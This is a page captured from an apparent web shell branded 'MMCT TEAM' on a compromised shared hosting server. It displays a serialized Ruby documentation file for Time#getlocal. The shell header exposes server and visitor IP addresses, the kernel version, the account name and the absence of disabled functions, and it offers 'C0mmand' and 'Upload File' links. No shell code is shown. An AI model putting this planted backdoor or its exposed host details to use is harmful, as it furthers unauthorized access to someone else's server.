MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /proc/thread-self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Time/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/thread-self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Time/getlocal-i.ri
U:RDoc::AnyMethod[iI"
getlocal:ETI"Time#getlocal;TF:publico:RDoc::Markup::Document:@parts[
o:RDoc::Markup::Paragraph;	[I"6Returns a new Time object representing _time_ in ;TI"Glocal time (using the local time zone in effect for this process).;To:RDoc::Markup::BlankLineo;
;	[I"EIf +utc_offset+ is given, it is used instead of the local time. ;TI"V+utc_offset+ can be given as a human-readable string (eg. <code>"+09:00"</code>) ;TI"8or as a number of seconds (eg. <code>32400</code>).;T@o:RDoc::Markup::Verbatim;	[I"At = Time.utc(2000,1,1,20,15,1)  #=> 2000-01-01 20:15:01 UTC
;TI".t.utc?                          #=> true
;TI"
;TI"Cl = t.getlocal                  #=> 2000-01-01 14:15:01 -0600
;TI"/l.utc?                          #=> false
;TI".t == l                          #=> true
;TI"
;TI"Cj = t.getlocal("+09:00")        #=> 2000-01-02 05:15:01 +0900
;TI"/j.utc?                          #=> false
;TI".t == j                          #=> true
;TI"
;TI"Ck = t.getlocal(9*60*60)         #=> 2000-01-02 05:15:01 +0900
;TI"/k.utc?                          #=> false
;TI"-t == k                          #=> true;T:@format0:
@fileI"time.c;T:0@omit_headings_from_table_of_contents_below0I"Etime.getlocal -> new_time
time.getlocal(utc_offset) -> new_time
;T0[I"(p1 = v1);T@%FI"	Time;TcRDoc::NormalClass00

MMCT - 2023